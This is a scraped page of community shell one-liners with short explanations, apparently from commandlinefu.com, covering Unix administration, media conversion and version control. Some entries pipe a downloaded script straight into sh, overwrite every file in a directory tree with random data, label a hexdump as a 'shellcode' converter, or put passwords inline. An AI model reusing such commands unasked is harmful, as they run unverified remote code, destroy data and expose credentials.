1M, ... and appropriate count values). ruby -e 'require "date"; puts DateTime.now.cweek' wget -qO - sometrusted.web.site/tmp/somecommand | sh download and run script from trusted webserver This is a simple command that you can run complex shell scripts via ssh. For instance if you would have to run the same process on several hundred hosts. There is no security so you have to trust the server that is sourcing this script. python -c $(echo -e 'import py_compile\npy_compile.compile("/path/to/script.py")'); Compile python script. Generated file will overwrite anything at /path/to/script.pyc mv -n * ../; cd ..; rmdir $OLDPWD Functions: cd mv rmdir Avoid clobbering files by either overwriting due to name collisions or by assuming the command worked and deleting the target directory. allVideos() { find ./ -type f -print0 | xargs -0 file -iNf - | grep ": video/" | cut -d: -f1; } $ find ./ -type f -print0 | xargs -0 file -iNf - | grep ": video/" | cut -d: -f1 ./.v.a-desk/atomic_city.wmv ./.mozilla/firefox/yhszbu0k.default/Cache/1/1A/9DD36d01 ./.mozilla/firefox/yhszbu0k.default/Cache/7/A6/8BFE0d01 ./.mozilla/firefox/yhszbu0k.default/Cache/6/63/FAE2Cd01 ./.mozilla/firefox/yhszbu0k.default/Cache/9/D5/E16E0d01 Functions: cut file find grep xargs Find all videos under current directory using MIME a.k.a not using extension Videos are found using their MIME type. Thus no need to for an extension for the video file. This is a efficent version of "jnash" cmd (4086). Thanks for jnash. This cmd will only show video files while his cmd show files having "video" anywhere in path. curl -s -u username:passwd http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' |festival --tts moreplayingaround rpm -Va | grep -v "\.\.\.\.\.\.\.T" Strip out time difference entries when verifying rpms on x86_64 RHEL systems dd if=/dev/urandom count=200 bs=1 2>/dev/null | tr "\n" " " | sed 's/[^a-zA-Z0-9]//g' | cut -c-16 Functions: cut dd sed tr expdp user/password FLASHBACK_SCN=$(echo -e "select current_scn from v\$database;" | sqlplus / as sysdba 2>/dev/null| grep [0-9][0-9][0-9][0-9][0-9][0-9]*) Functions: as echo grep Consistent Oracle Datapump Export Creates a consistent datapumpt export on an Oracle database with the current sequence number, while the system is running and changes happens on the database. for x in `grep server /tmp/error.log | awk '{print $3}'`; do \ t=`date "+%d-%m-%H%M%S"` ; ssh -q -t admin@$x.domain.com 'pstree -auln' > ~/snapshots/$x-$t.out \ done (One or more files containing process trees (a snapshot) of other machines.) Functions: awk ssh Required: 1) Systems that send out alert emails when errors, database locks, etc occur. 2) a system that: a) has the ability to receive emails, and has procmail installed. b) has ssh keys set up to machines that would send out alerts. When procmail receives alert email, you can issue a command like this one (greps and awks may very - you're isolating the remote hostname that had the issue). This will pull process trees from the alerting machines, which is always useful in later analysis. find . -type f -iname '*.msh' -exec ls -lG {} \; | awk '{total = total + $4}END{print "scale=2;" total "/2^20"}' | bc Calculate the size in MB of all files of a certain extension hdiutil mount -owners on -mountrandom /tmp -stdinpass /path/to/my.sparsebundle Mount FileVault sparsebundle image manually (e.g.: from TimeMachine disk). svn ci -m "$(curl -s http://whatthecommit.com | sed -n '/

    /,/<\/p>/p' | sed '$d' | sed 's/

    //')" I know what I am doing. Trust me. Check in current directory to SVN with commical/terrible commit message. (Please don't actually run this command!) ‹ First < 216 217 218 219 220 > Last › mysql -u[user] -p[password] -h [hostname] -D [database] -ss -e "select * from mysql_tbl " | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > dump.csv Run query on remote database and output results as csv VBoxManage internalcommands createrawvmdk -filename [path/to/file/name.vmdk] -rawdisk /dev/[block_device] Boot block devices as virtual devices in Virtual Box VBoxManage internalcommands createrawvmdk -filename ~/.VBox_sdc.vmdk -rawdisk /dev/sdc In order to start virtual box using block devices, ( Or to boot from it) run as ROOT sudo VirtualBox Then add & select the vmdk file as a device. At last Start the virtual box. - This cmd needs to run once for a device. - See command 8936 to run with out using ROOT power and easy handling of Virtual m/c svn info -R --xml file:///path/to/rep | grep kind=\"file\"|wc -l 1034 Functions: grep info wc a() { alias $1=cd\ $PWD; } david@david-laptop:~$ cd Desktop/ david@david-laptop:~/Desktop$ a 1 david@david-laptop:~/Desktop$ cd ../code david@david-laptop:~/code$ a 2 david@david-laptop:~/code$ alias alias 1='cd /home/david/Desktop' alias 2='cd /home/david/code' david@david-laptop:~/code$ 1 david@david-laptop:~/Desktop$ Easily move around many directories An easy way to create aliases for moving between many directories dm display-buffer reset Resolve the "all display buffers are busy, please try later" error on a Foundry defaults write com.apple.dashboard devmode YES Enables widgets to be placed onto the desktop. Click and hold the widget and press F12 to drag it onto the desktop. Repeat the process again to drag a widget back onto the dashboard. You may need to log off or restart for it to take effect. fortune | cowsay -f tux Let Tux bring the fortune cookie ftp-latest <<< "cd /; cls -1 | tail -1 | xargs -I% echo get % | /PATH/TO/ftp-latest" Get the latest ftp file from ftp server on local machine with lftp and bash. (Piped commands inside lftp). Require lftp and this script to work (adapt path and credentials as needed): echo $'#!/bin/bash\n# coded by sputnick under GPL 20101007\nlftp -u user,passwd remoteuser@host.tld -e "$(cat)"' > /PATH/TO/ftp-latest; chmod +x !$ for x in `find /vmfs/volumes/ -name *vmx -exec grep -H linux.iso {} \; |cut -d : -f 1`; do echo $x; grep -i sync $x; done; [uid0@vmw104 uid0]$ for x in `find /vmfs/volumes/ -name *vmx -exec grep -H linux.iso {} \; |cut -d : -f 1`; do echo $x; grep -i sync $x; done; find: /vmfs/volumes/5be8b8ea-f45e0707/lost+found: Permission denied /vmfs/volumes/48536010-b500c483-3917-0018fe7d1464/rhel001/rhel001.vmx tools.syncTime = "false" /vmfs/volumes/48536042-2e85c4db-1463-0018fe7d1464/www003/www003.vmx tools.syncTime = "FALSE" /vmfs/volumes/48535f1b-50f35e02-be36-0018fe7d1464/WWW013/WWW013.vmx tools.syncTime = "TRUE" /vmfs/volumes/498bba03-3db3d1ae-4d9a-00163582428c/www012/www012.vmx [uid0@vmw104 uid0]$ Functions: cut echo grep sync Search vmware vmx files if Linux guests are set to sync time to host besure to adjust your find to use to correct location of your VMX files. sed -i '/^somestring/ s/^/#/' somefile.cfg Comment out all lines in a file with "somestring" in the beginning. Sed -i is used for in place edits. Useful if you need to comment out lines beginning with somestring defaults write /Library/Preferences/com.apple.loginwindow DesktopPicture "/System/Library/CoreServices/Finder.app/Contents/Resources/vortex.png" Change Mac OS X Login Picture Change the file location in the second half of the string to the exact file location of your chosen picture. axi-cache search 29 results found. Results 1-20: 100% xapian-tools - Basic tools for Xapian search engine library 97% apt-xapian-index - maintenance tools for a Xapian index of Debian packages 92% php5-xapian - Xapian search engine interface for PHP5 92% python-xapian - Xapian search engine interface for Python 90% libsearch-xapian-perl - Perl bindings for the Xapian search library 89% libxapian-ruby1.9.1 - Xapian search engine interface for Ruby 1.9.1 89% libxapian-ruby1.8 - Xapian search engine interface for Ruby 1.8 88% tclxapian - Xapian search engine interface for Tcl 88% xapian-examples - Xapian simple example programs 88% xapian-omega - CGI search interface and indexers using Xapian 87% xapian-doc - Core Xapian documentation 82% python-django-djapian - Search API for Django using Xapian 81% libxapian22-dbg - Debugging symbols for the Xapian Search engine library 81% libxapian15-dbg - Debugging symbols for the Xapian Search engine library 80% libxapian-dev - Development files for Xapian search engine library 78% ept-cache - Commandline tool to search the package archive 75% libept1 - High-level library for managing Debian package information 75% libept0 - High-level library for managing Debian package information 74% libept-dev - High-level library for managing Debian package information 73% python-xappy - easy-to-use interface to the Xapian search engine More terms: search searching indexing probabilistic stemming collections ranked More tags: web::search-engine use::searching implemented-in::c++ works-with::text works-with-format::plaintext works-with::software:package suite::debian `axi-cache more' will give more results A better 'apt-cache' using Xapian to rank results A replacement for 'apt-cache' that uses a Xapian to produce ranked results. Available in 'apt-xapian-index' 0.27 and higher. cat dvd_output/Layer0/IMAGE.DAT dvd_output/Layer1/IMAGE.DAT > dvd.iso Combine DVD Studio Pro DDP layers back into a DVD disc image for testing This will you combine the DDP output of DVD Studio Pro back into a standard ISO disk image so that you can double-check the DDP output process. ps axo pid,ppid | awk "{ if ( \$2 == $PID ) { print \$1 }}") find . -exec touch {} \; Recursively touch all files and subdirectories find . -type f -name "*.py" -exec wc -l {} \; | awk '{ SUM += $1} END {print SUM }' 16809 Functions: awk find wc Find lines of code (LOC) of a filetype in a project. Replace .py with .rb or .java to get the LOC of that particular filetype. An alternative is http://www.commandlinefu.com/commands/view/2812/make-a-statistic-about-the-lines-of-code find /var/spool/mqueue -type f -mtime +7 | perl -lne unlink Find all e-mails older than 7 days in the queue and delete them Find all files in /var/spool/mqueue older than 7 days, pass to perl to efficiently delete them (faster than xargs or -exec when you've got millions or hundreds of thousands to delete). Naturally the type, directory, and file age vars can be adjusted to meet your specific needs. ^z; bg; disown background and disown, but with a proper one-line syntax $foo[(I)$foo[-1]] %foo=(a b c d e) %echo $foo[(I)$foo[-1]] Get length of array in zsh Returns the index of the last element in the array. curl -s http://whatthecommit.com | html2text | sed '$d' I don't know what these changes are supposed to accomplish but somebody told me to make them. Requires html2text. Print bad, but often funny commit messages from whatthecommit.com sudo lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u Functions: cut grep sort sudo ps -ef | grep $USER username 8804 8802 0 09:03:19 pts/5 0:00 -tcsh username 8802 8799 0 09:03:19 ? 0:01 /usr/lib/ssh/sshd username 9020 8804 0 09:53:33 pts/5 0:00 ps -ef username 9021 8804 0 09:53:33 pts/5 0:00 grep username Find all processes running under your username. I like to make it an alias in my .bashrc file, as such: alias psme='ps -ef | grep $USER' watch ethtool eth0 require: ethtool How to know if your NIC receive link verifry if link detected or no and speed of network. egrep -r '(render_message|multipart).*('`find app/views -name '*.erb' | grep mailer | sed -e 's/\..*//' -e 's/.*\///' | uniq | xargs | sed 's/ /|/g'`')' app/models Functions: egrep grep sed uniq xargs Finds all of the mailers being used in your rails app emacs doctor I am the psychotherapist. Please, describe your problems. Each time you are finished talking, type RET twice. How do you do? What brings you to see me? Talk to the doctor (Eliza-like) An easter-egg from emacs. ‹ First < 217 218 219 220 221 > Last › svn status | grep -v ? | awk '{print $2}' > file.svn.txt && svn ci --targets file.svn.txt -m "[your commit message here]" Commit current modified or added files in current svn repository echo -e "package1 option1/question1 boolean true\npackage2 option2/question2 boolean true\n" > autoprefs; sudo debconf-set-selections < autoprefs; rm autoprefs Functions: echo rm sudo With this command, you do not have to confirm licences answers during packages installation! Only for Debian-derivate distributions. e.g.: echo -e "sun-java6-jdk shared/accepted-sun-dlj-v1-1 boolean true\nsun-java6-jre shared/accepted-sun-dlj-v1-1 boolean true\nsun-java6-bin shared/accepted-sun-dlj-v1-1 boolean true\nvirtualbox virtualbox/module-compilation-allowed boolean true\nvirtualbox virtualbox/delete-old-modules boolean true\nvirtualbox virtualbox/group-vboxusers boolean true\n" > autoprefs; sudo debconf-set-selections < autoprefs; rm autoprefs curl -s http://boards.4chan.org/wg/|sed -r 's/.*href="([^"]*).*/\1\n/g'|grep images|xargs wget Im' not interested in images, but that's how I would do it. du -ms * | sort -nr Sort all files and directories by size, rounded to the nearest megabyte. (Substitute custom path for *.) edit list of files in last command say you've just found all the config files with this command find . -name '*.config' and you need to edit them all will re-execute the command and present them to vi in the argument list don't use if the list is really long as it may overflow the command buffer path+=( /sbin /usr/sbin /usr/local/sbin ); path=( ${(u)path} ); Add the sbin directories to your PATH if it doesn't already exist in ZSH. On RHEL, Fedora and CentOS systems, and maybe others, the sbin directories aren't in the user's $PATH. For those systems that use 'sudo', this can be inconvenient typing the full path all the time. As a result, you can easily take advantage of adding the sbin directories to your PATH by adding this simple line to you .zshrc. ffmpeg -i file.flv file.avi I'm not well enough versed in the differences between ffmpeg & mencoder to know which one is better. REALUSERID=`TTYTEST=$(ps | awk '{print $2}' |tail -1); ps -ef |grep "$TTYTEST$" |awk '{print $1}'`;echo $REALUSERID USERNAME Functions: awk echo grep ps tail Find the USERid of a SUDOed user Find the USERid of a SUDOed user who has either left their terminal logged in or for scripting purposes to track who ran what commands. This only applys to users that do sudo su - USERNAME. not sudo su USERNAME Sudo su without the dash allows use of (echo $SUDO_USER) for F in `find ./ -type f`;do SIZE=`ls -s $F | awk -F" " '{print $1}'`; dd if=/dev/urandom of=$F bs=1024 count=$SIZE;done Functions: awk dd Simple file wipe This will find any regular file starting with the current directory and use /dev/urandom to overwrite that file. It will is the same size of the file (in blocks) as the file. Can't handle files with spaces or odd characters in the name (who does that anyway?) yum remove `rpm -qa --qf "%{n}.%{arch}\n"|grep i386` Remove i386 RPM packages from x86_64 CentOS/RHEL cvs -Q status | perl -ne 'print if m/^File.+Status: (?!Up-to-date)/ .. m/^=/;' % cvs -Q status | perl -ne 'print if m/^File.+Status: (?!Up-to-date)/ .. m/^=/;' File: Linux-rhel-5 Status: Needs Patch Working revision: 1.68 Repository revision: 1.69 /home/myhome/project/software/scripts/steps/000-define-functions/Linux-rhel-5,v =================================================================== File: Linux-rhel-6 Status: Needs Patch Working revision: 1.20 Repository revision: 1.21 /home/myhome/project/software/scripts/steps/400-inittab/Linux-rhel-6,v Working revision: 1.3 Repository revision: 1.4 /home/myhome/project/software/scripts/steps/451-snmp/Linux-rhel-6,v Functions: cvs perl This will also print the path to file which is not included in the other examples. for i in somefiles*.png ; do echo "$i" ; N=$(stat -c %Y $i); mv -i $i $N.png; done Screenshot-10.png Screenshot-12.png Screenshot-13.png Screenshot-8.png Screenshot-9.png Becomes: 1274847969.png 1274848115.png 1274848316.png 1274848762.png 1275016796.png Functions: echo mv stat Batch rename files by their epoch last modified time. This renames a pattern matched bunch of files by their last modified time. rename by timestamp rename by time created rename by time modified vim !$ $ ls test.txt $ vim !$ use !$ to retrieve filename used with last command the second command 'vim !$' will open test.txt to edit 0 0 * * 0 /usr/bin/mysqldump -uroot -p'' data_base_name > /home/bob/XYZ_DB_BACKUP/$(date +\%Y-\%m-\%d_\%Hh\%M).sql backup mysql database Create a cronjob that runs weekly to backup your database to a file. iptables -A FORWARD -i br0 -m iprange --src-range 192.168.0.x-192.168.0.y -m iprange --dst-range 192.168.0.w-192.168.0.z -j DROP Cloack an IP range from some IPs via iptables watch -n1 "ls -p | grep '/$'" Watching directories find ~/random_jpegs/folder -name "*.jpg" -exec rdjpgcom {} \; CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 95 displays comments from random jpeg files. depends on libjpeg-progs But how to display path to found comments? sed 's/\b\(0*\)//g' filename $ cat filename $ sed 's/\b\(0*\)//g' filename Remove leading zeros in multiple columns with sed Leading zeros might help correct sorting and they can be removed by sed after sorting for i in *.tar.gz; do tar -xzf $i; done Extract multiple file in a directory You can flexibly change file pattern(*.tar.gz) and uncompress command to other job! Example, remove all files : for i in *.tar.gz; do rm $i; done (Just for example, because if you really want to remove file, simply use wildcard like this rm *.tar.gz) print -s "PATH='$PATH'" put environment variable in history to edit say you want to edit your PATH variable using bash/zsh commandline editing, this will put something like this in history so you can edit it: PATH=/bin:/usr/bin:/usr/sbin to make this a shell function such that: eev HOME will put /home/dave in the last history event: eev() print -s "$1='$(eval echo \$$1)'" sqlite3 mydb.sqlite3 '.dump' | grep -vE '^(BEGIN|COMMIT|CREATE|DELETE)|"sqlite_sequence"' | sed -r 's/"([^"]+)"/`\1`/' | tee mydb.sql | mysql -p mydb Functions: grep sed tee Transfer sqlite3 data to mysql Filters out all non-insert SQL operations (we couldn't filter out only lines starting with "INSERT" because inserts can span multiple lines), quotes table names with backticks, saves dump to a file and pipes it straight to mysql. This transfers only data--it expects your schema is already in place. In Ruby on Rails, you can easily recreate the schema in MySQL with "rake db:schema:load RAILS_ENV=production". iptables-save > firewall.conf; rm -f /etc/network/if-up.d/iptables; echo '#!/bin/sh' > /etc/network/if-up.d/iptables; echo "iptables-restore < firewall.conf" >> /etc/network/if-up.d/iptables; chmod +x /etc/network/if-up.d/iptables Functions: chmod echo iptables iptables-save rm Persistent saving of iptables rules a simple command in order to make iptables rules permanent, run @ sudo! cat LOCALFILE | ssh HOST "cat > REMOTEFILE" Nice command for when you don't have scp available for whatever reason. Works with binaries. sox -t alsa default ./recording.flac silence 1 0.1 5% 1 1.0 5% SoX recording audio and trimming silence Records audio from your mic in FLAC (Free Lossless Audio Codec) format, starts only after it detects at least 0.1 seconds of noise and stops after 1 second of silence. You can adjust the percent values (sensitivity) to best fit your microphone and voice (0.1% if you have a great quality mic, higher if you don't, 0% does not trim anything). Useful for speech recognition in conjunction with my previous command titled 'Google voice recognition "API"' (http://www.commandlinefu.com/commands/view/8043/google-voice-recognition-api). ‹ First < 218 219 220 221 222 > Last › find /path/folder -type f -name "*.*" -print -exec rm -v {} + | wc -l; Functions: find rm wc Count the number of deleted files It does not work without the verbose mode (-v is important) alias ::='cd ../../' # Add as many levels as you need alias :::='cd ../../../' /home/you/src/some_project/tests $ :: /home/you/src Quick aliases for going up a directory tree hexdump -v -e '"\\""x" 1/1 "%02x" ""' convert binary data to shellcode yt2mp3(){ for j in `seq 1 301`;do i=`curl -s gdata.youtube.com/feeds/api/users/$1/uploads\?start-index=$j\&max-results=1|grep -o "watch[^&]*"`;ffmpeg -i `wget youtube.com/$i -qO-|grep -o 'url_map"[^,]*'|sed -n '1{s_.*|__;s_\\\__g;p}'` -vn -ab 128k "`youtube-dl -e ${i#*=}`.mp3";done;} squeezed the monster (and nifty ☺) command from 7776 from 531 characters to 284 characters, but I don't see a way to get it down to 255. This is definitely a kludge! wget -qO - "http://www.google.com/dictionary/json?callback=dict_api.callbacks.id100&q=steering+wheel&sl=en&tl=en&restrict=pr,de&client=te" | sed 's/dict_api\.callbacks.id100.//' | sed 's/,200,null)//' Google dictionary of word definitions wget -qO - "http://www.google.com/dictionary/json?callback=dict_api.callbacks.id100&q=steering+wheel&sl=en&tl=en&restrict=pr,de&client=te" this does the actual google dictionary query, returns a JSON string encapsulated in some fancy tag sed 's/dict_api\.callbacks.id100.//' here we remove the tag beginning sed 's/,200,null)//' and here the tag end There are also some special characters which could cause problems with some JSON parsers, so if you get some errors, this is probably the case (sed is your friend). I laso like to trim the "webDefinitions" part, because it (sometimes) contains misleading information. sed 's/\,\"webDefinitions.*//' (but remember to append a "}" at the end, because the JSON string will be invalid) The output also contains links to mp3 files with pronounciation. As of now, this is only usable in the English language. If you choose other than English, you will only get webDefinitions (which are crap). dig commandlinefu.com | sed -nr 's/^[^;].*?\s([.0-9]{7,15})$/\1/ p' 208.94.117.60 208.94.117.125 gets the bare ip(s) of a domain Strips the non-ip information from the dig output. Could be combined with "head -1" to ensure a single ip is returned. Useful for outputting as a variable for use in scripts. python fsrecovery.py -P 0 -f /Data.fs /Data.fs.packed When need to compress the Zope Database When need to pack the ZODB... sh -c 'if pgrep x2vnc && env LC_ALL=C xmessage -button "Kill it:0,Ignore it:1" "Another connection is already running. Should I kill it instead of ignoring it?"; then killall x2vnc; fi; x2vnc -passwd /home/Ariel/.vnc/passwd -east emerson:0' Functions: env killall sh create an application launcher shortcut that allow only one process of it running This command is suitable to use as application launching command for a desktop shortcut. It checks if the application is already running by pgrepping its process ID, and offer user to kill the old process before starting a new one. It is useful for a few x11 application that, if re-run, is more likely a mistake. In my example, x2vnc is an x11 app that does not quit when its connection is broken, and would not work well when a second process establish a second connection after the first broken one. The LC_ALL=C for xmesseng is necessary for OpenSUSE systems to avoid a bug. If you don't find needing it, remove the "env LC_ALL=C" part sudo dpkg --configure --pending Fixing broken packages in Debian systems For resuming installation of an interrupted apt-get install instruction. for file in *; do mv -v "$file" "$(sed 's/ //g' <(echo $file))"; done `test 0' -> `test0' `test 1' -> `test1' `test 2' -> `test2' `test 3' -> `test3' `test 4' -> `test4' `test 5' -> `test5' `test 6' -> `test6' `test 7' -> `test7' `test 8' -> `test8' `test 9' -> `test9' Renames all files in the current directory such that the new file contains no space characters. This is a better version, as it does no command piping, uses for instead of while loops, which allows for a list of files in the current working directory to be natively processed. It also uses the -v/verbose option with mv to let you know what the command is doing. While the command does exactly the same in a better way, I would modify the sed option to replace spaces with underscores instead, or dashes. Please note that you'll receive errors with this command as it tries to rename files that don't even have spaces. This is an alternative to: http://www.commandlinefu.com/commands/view/8761/renames-all-files-in-the-current-directory-such-that-the-new-file-contains-no-space-characters. echo "foo/ bar//" | sed 's:/*$::' foo/ bar Remove trailing forward slashes from text. Useful when manipulating folders' paths fed as arguments. Remove only the forward slashes as the end; multiple ones are removed as well. perl -pi -e 's/localhost/replacementhost/g' *.php simple perl global search and replace in files curl -s --data-urlencode 'longUrl='$1 --data-urlencode 'login='$login --data-urlencode 'apiKey='$apikey 'http://api.bit.ly/shorten?version=2.0.1&format=xml' | xmlstarlet sel -T -t -m "//shortUrl" -v "." | line [16:58][~]$ bitly http://google.com http://bit.ly/4sloPA Shorten url using bit.ly API It uses curl --url-encode to encode long URLs *properly* and parses XML with xmlstarlet. If ~/.bitlyrc were to contain login:apikey then a script could read the apiKey and login from ~/.bitlyrc like so: login=$(sed 's/:.*//' < $HOME/.bitlyrc) apikey=$(sed 's/[^:]*://' < $HOME/.bitlyrc) files=(/usr/share/cowsay/cows/*);cowsay -f `printf "%s\n" "${files[RANDOM % ${#files}]}"` "`fortune`" / A kind of Batman of contemporary \ | letters. | | | \ -- Philip Larkin on Anthony Burgess / Random cow tells your fortune Can be installed in the root crontab if you want it to update your motd. If not on ubuntu you need to change /usr/share/cowsay/cows/* to the location of your cow files. x11vnc -rfbauth /etc/x11vnc.pass -o /tmp/x11vnc.log -forever -bg -noxdamage -rfbport 5900 -avahi -display :0 X11vnc starting session command a typical X11vnc command files=$(find /dir/file -name *.txt -exec grep -l a {} \;) && perl -p -i -e 's/old/new/g;' $files find multiple files in directory and perform search and replace on each of them echo "command lines" | rev | cut -c 2- | rev command line Functions: cut echo ping rev Remove the last string character using rev and cut In case sed and awk are not available you may use this to remove the last character from a string with "rev" and "cut". sed -i -e 's/war/peace/g' * Replace strings in files Replace the word 'war' to word 'peace' in every file in the current directory. dpkg-query -W -f='${Version}' package-name echo "text" | sudo tee -a /path/file.conf > /dev/null Insert text at the end of a root-privileged file You can add repositories, options etc to any .conf in you system! export PS1='[\[\e[36;1m\]\u@\[\e[32;1m\]\h \[\e[31;1m\]\w]# \[\e[0m\]' ip -f inet addr |grep "global eth0$"|awk '{print $2}'|cut -d '/' -f 1 get eth0 ip address for i in `seq -w 1 50`; do wget --continue \ http://commandline.org.uk/images/posts/animal/$i.jpg; done netstat -rn | convert label:@- netstat.png Command results as an image capture We use the "convert" command (ImageMagick package) : see man convert (http://www.ma.utexas.edu/cgi-bin/man-cgi?convert+1) tail -f --retry /var/log/syslog /var/log/auth.log | ccze -A Syslog System Reporting in a shell ‹ First < 219 220 221 222 223 > Last › watch -n 1 "ps aux | sed -n 's/ D /&/p'" Watch those evil Red Hat states code D Uninterruptible sleep (usually IO). On my cluster a D in the states column means it is time to reboot the server. du -h |grep -P "^\S*G" Functions: du grep List Big Files/Directories This Command will list files & folders which are in GBs. G can be replace by M to get files in MBs. dvgrab - | mplayer - Grabs video from dv firewire camera and plays it on mplayer. readlink -f Find out actual full path of Ever tried to mess with links and/or ../ in the file path? This command outputs the fully resolved path to the actual file passed on the command line. sed -n '1~5{N;N;p}' file.txt sed '4~5,+1d' file.txt pick up 3 lines start at every 5th line of file.txt sed '4~5,+1d' file.txt netstat -anp --tcp --udp | grep LISTEN iscsiadm -m node -l Attach all discovered iscsi nodes We can list the new disk with fdisk -l sed -n '/05\/Dec\/2010/,$ p' access.log | goaccess -s -b Total Requests 1171190 Unique Visitors 39270 Referrers 3314 Log N/A Analyze Apache Web Log Statistics starting on DATE x map() { if [ "$1" != "" ]; then alias $1="cd `pwd`"; fi } ~ $ cd /some/deep/down/path/to/my/logs logs $ map log logs $ cd /some/other/path/to/my/configs configs $ map conf configs $ cd ~ $ log logs $ conf configs $ Quickly create an alias for changing into the current directory Put the function in your .bashrc and use "map [alias]" to create the alias you want. Just be careful to not override an existing alias. curl -s http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//; s/\.tar\.gz.*//' Print the lastest stable version of Perl hdiutil mount sample.iso Mount an ISO image on Mac OS X netstat -ltun $ netstat -ltun Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:60454 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:51413 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp6 0 0 :::51413 :::* LISTEN tcp6 0 0 ::1:631 :::* LISTEN udp 0 0 0.0.0.0:45378 0.0.0.0:* udp 0 0 0.0.0.0:68 0.0.0.0:* udp 0 0 192.168.168.192:21328 0.0.0.0:* udp 0 0 0.0.0.0:5353 0.0.0.0:* udp 0 0 192.168.168.192:1900 0.0.0.0:* Works only on Linux. Last option (n) turn name of service resolving (/etc/services) off. curl -s 'xkcd.com' | awk -F\" '/^\n\n\n %s\n %s\n %s\n\n\n", $6, $4, $2)}' Spinal Tap Amps Wow, that's less than $200 per ... uh ... that's a good deal! http://imgs.xkcd.com/comics/spinal_tap_amps.png I wasn't sure how to display the image, so I thought I'd try xml for a different twist. tar -xi < *.tar Extract multiple tar files at once in zsh tar doesn't support wildcard for unpacking (so you can't use tar -xf *.tar) and it's shorter and simpler than for i in *.tar;do tar -xf $i;done (or even 'for i in *.tar;tar -xf $i' in case of zsh) -i says tar not to stop after first file (EOF) string="${string^}" string="hello" string="${string^}" echo $string Convert first letter of string to uppercase Let bash do the work by converting the initial of a string to an uppercase sleep 15m; yes > /dev/dsp Functions: sleep yes Just replace 15m with desired time. no suffix or 's' for seconds; 'h' for hours You need to be root or in audio group to write to /dev/dsp. You may use yes | head -n 2000 for about 1 second beep. Wrote this as echo -e '\a' not always works as desired (ex. visual bell) cp /dev/cdrom file.iso aptitude search ~d "irc client"|grep -i "irc client" p cgiirc - web based irc client p epic4 - epic irc client, version 4 p epic4-help - help files for epic4 IRC client p epic5 - epic irc client, version 5 p erc - an IRC client for Emacs p irssi - terminal based IRC client p irssi-dev - terminal based IRC client - development fi repository search This is the best way I have found to search out an application when I am not sure the title. Grep is just to remove anything that does not contain the term in the title or short description (lots of things might include the search term in the description, such as libraries used by the application) diff -U 9999 file_a file_b | tail -n +3 | grep -P "^(\ Header|\-|\+)" Header1 - y + f Header2 - C + D Header3 - 3 + 1 Functions: diff grep tail Maybe very limited in its applicability but could be of use at times. egrep -v "^\s*(#|$)" boring.conf Prints a file leaving out all blank lines and comment-only lines - is empty - contains only spaces or tabs - starts with # - starts with spaces/tabs followed by a # echo "0t${currentEpoch}=Y" | /usr/bin/adb # currentEpoch='1244172897' # echo "0t${currentEpoch}=Y" | /usr/bin/adb this works on Solaris, so not better than the "only-GNU"-tool :-( I think, there is no one-liner for this, that will work on all *nix-es wget -q --spider http://server/cgi/script I don't know if the --spider option works to execute a script, but it might be worth trying. Note that the Drupal project uses the following in a cron job. wget -O - -q http://localhost/drupal/cron.php The output is sent to standard out so it can be logged by cron. useradd -m -p $(perl -e'print crypt("pass", "mb")') user root# useradd -m -p $(perl -e'print crypt("foo", "aa")') foo user$ su - foo Password: foo foo$ ^D root# userdel -r foo Functions: perl useradd Create new user with home directory and given password Function: char * crypt (const char *key, const char *salt) The crypt function takes a password, key, as a string, and a salt character array which is described below, and returns a printable ASCII string which starts with another salt. It is believed that, given the output of the function, the best way to find a key that will produce that output is to guess values of key until the original value of key is found. The salt parameter does two things. Firstly, it selects which algorithm is used, the MD5-based one or the DES-based one. Secondly, it makes life harder for someone trying to guess passwords against a file containing many passwords; without a salt, an intruder can make a guess, run crypt on it once, and compare the result with all the passwords. With a salt, the intruder must run crypt once for each different salt. For the MD5-based algorithm, the salt should consist of the string $1$, followed by up to 8 characters, terminated by either another $ or the end of the string. The result of crypt will be the salt, followed by a $ if the salt didn't end with one, followed by 22 characters from the alphabet ./0-9A-Za-z, up to 34 characters total. Every character in the key is significant. For the DES-based algorithm, the salt should consist of two characters from the alphabet ./0-9A-Za-z, and the result of crypt will be those two characters followed by 11 more from the same alphabet, 13 in total. Only the first 8 characters in the key are significant. sed -i -e '/foo/p' -e 's/foo/barfoo/' file Useful to duplicate and change iptables rules $ find . -iname *.mp3 | while read line ; do ln -s "$line" $(echo -e "$line" | openssl md5).mp3 ; done ; mpg123 *.mp3 Functions: echo find ln mpg123 read ‹ First < 220 221 222 223 224 > Last › ifconfig | awk '/HWaddr/ { print $1, $5 }' Why use grep and awk? nc $telnetserver 23 < $commandfile pipe commands from a textfile to a telnet-server with netcat sends commands specified in $commandfile to the telnet-server specified by $telnetserver. to have newlines in $commandfile interpreted as ENTER, save the file in CR+LF (aka "Windows-Textfile") format. if you want to save the output in a separate file, use: nc $telnetserver 23 < $commandfile > $resultfile perl -e "print scalar(gmtime(1247848584))" print scalar gmtime alias big='BIG () { find . -size +${1}M -ls; }; BIG $1' $ big 100 Functions: alias find Find large files in current directory This is for bash - make an alias - also a good blueprint for making aliases that take arguments to functions. If for Solaris use "-size +${1}000000c" to replace "-size +${1}M" find /var/log -iregex '.*[^\.][^0-9]+$' -not -iregex '.*gz$' 2> /dev/null | xargs tail -n0 -f | ccze -A View all new log messages in real time with color lvs | awk '{printf("/dev/%- 40s %-7s %10s %20s %6s %5s %5s %5s %5s\n", $2 "/" $1, $3, $4, $5, $6, $7, $8, $9, $10)}' Print full LVM LV paths (for copy&paste) find . -iname "*wav" > step1 ; sed -e 's/\(^.*\)wav/\"\1wav\" \"\1mp3\"/' step1 > step2 ; sed -e 's/^/lame /' step2 > step3 ; chmod +x step3 ; ./step3 Functions: chmod find sed command for converting wav files to mp3 rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n' kernel-2.6.27.12-170.2.5.fc10.i686 kerneloops-0.12-1.fc10.i386 kernel-2.6.27.19-170.2.35.fc10.i686 kernel-firmware-2.6.27.19-170.2.35.fc10.noarch 